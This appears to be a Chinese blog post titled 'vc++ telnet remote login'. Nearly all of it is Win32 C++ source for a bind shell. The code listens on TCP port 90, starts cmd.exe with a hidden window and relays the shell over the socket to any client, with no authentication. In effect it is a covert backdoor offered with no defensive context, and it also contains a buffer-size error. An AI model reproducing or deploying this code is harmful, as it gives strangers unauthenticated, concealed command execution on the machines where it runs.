vc++telnet远程登录

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")

#define PORT 90

SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
u_char varA,varB;

DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
 SECURITY_ATTRIBUTES pipeattr;
 DWORD nByteToWrite, nByteWritten;
 char recv_buff[1024];

 pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
 pipeattr.lpSecurityDescriptor = NULL;
 pipeattr.bInheritHandle = TRUE;
 CreatePipe(&hReadPipe,
    &hWriteFile,
    &pipeattr,
    0);

 varA = 1;
 while(true)
 {
  Sleep(250);
  nByteToWrite = recv(ClientSocket,recv_buff,1024,0);
  WriteFile(hWriteFile,recv_buff,nByteToWrite,&nByteWritten,NULL);
 }
 return 0;
}

DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
 SECURITY_ATTRIBUTES pipeattr;
 DWORD len;
 char send_buff[25000];

 pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
 pipeattr.lpSecurityDescriptor = NULL;
 pipeattr.bInheritHandle = TRUE;

 CreatePipe(&hReadFile,&hWritePipe,&pipeattr,0);

 varB = 1;
 while (true)
 {
  ReadFile(hReadFile,send_buff,25000,&len,NULL);

  send(ClientSocket,send_buff,len,0);
 }
 return 0;
}

void Enter(void)
{
 WSADATA WSAData;
 struct sockaddr_in RemoteAddr;

 DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
 OSVERSIONINFO osvi;
 PROCESS_INFORMATION processinfo;
 STARTUPINFO startinfo;

 WSAStartup(MAKEWORD(2,2),&WSAData);
 ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 RemoteAddr.sin_family = AF_INET;
 RemoteAddr.sin_port = htons(PORT);
 RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;

 bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
 listen(ServerSocket, 5);

 varA = 0;
 varB = 0;
 CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
 CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);

 do{
        Sleep(250);
 }while((varA || varB) == 0);

 GetStartupInfo(&startinfo);
 startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 startinfo.hStdInput = hReadPipe;
 startinfo.hStdError = hWritePipe;
 startinfo.hStdOutput = hWritePipe;
 startinfo.wShowWindow = SW_HIDE;

 osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

 GetVersionEx(&osvi);
 char szAPP[256];
 GetSystemDirectory(szAPP,MAX_PATH+1);

 if(osvi.dwPlatformId == 2)
 {
  strcat(szAPP,"//cmd.exe");
  if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &startinfo,&processinfo) == 0)
  {
 
   return;
  }
 }
 else
 {
  strcat(szAPP,"//command.exe");
  CreateProcess(NULL,szAPP,0,0,true,0,0,0,&startinfo,&processinfo);
 }

 while (true)
 {
        ClientSocket = accept(ServerSocket, NULL, NULL);
  Sleep(250);
 }
}

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

尹成

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值